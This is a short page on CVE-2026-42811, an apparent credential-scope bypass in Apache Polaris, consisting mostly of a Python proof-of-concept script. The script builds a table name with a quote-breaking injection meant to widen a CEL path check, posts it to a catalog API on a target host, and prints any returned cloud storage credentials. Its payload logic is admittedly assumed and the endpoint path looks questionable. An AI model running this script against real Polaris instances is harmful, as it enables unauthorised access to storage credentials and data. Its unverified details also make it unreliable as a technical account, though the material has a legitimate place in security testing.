CVE-2026-42811 Apache Polaris凭证权限绕过漏洞

# Proof of Concept for CVE-2026-42811 # This script demonstrates how a crafted table name can be used to inject logic into the CEL expression. import requests def exploit_polaris_cel_injection(target_url, namespace): # The payload includes a single quote to break out of the string context. # The goal is to neutralize the path restriction or broaden it. # Example payload assuming the logic is: startswith("bucket/" + table_name + "/") # Injecting: ' + '' + ' results in startswith("bucket/" + "" + "/") -> startswith("bucket/") # This grants access to the root of the bucket (or broader scope depending on implementation). crafted_table_name = "normal' + '' + '" print(f"[*] Attempting to create/access table with crafted name: {crafted_table_name}") # Construct the request payload payload = { "namespace": namespace, "name": crafted_table_name } try: # Simulate the API call to request credentials or create table response = requests.post(f"{target_url}/api/v1/v1/catalogs/tables", json=payload) if response.status_code == 200: data = response.json() # If vulnerable, the returned token might have broader permissions print("[+] Request successful. Check if the returned GCS credentials have bucket-level access.") print(f"[+] Response snippet: {data.get('credentials', 'N/A')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") # Usage # exploit_polaris_cel_injection("http://target-polaris-instance", "default")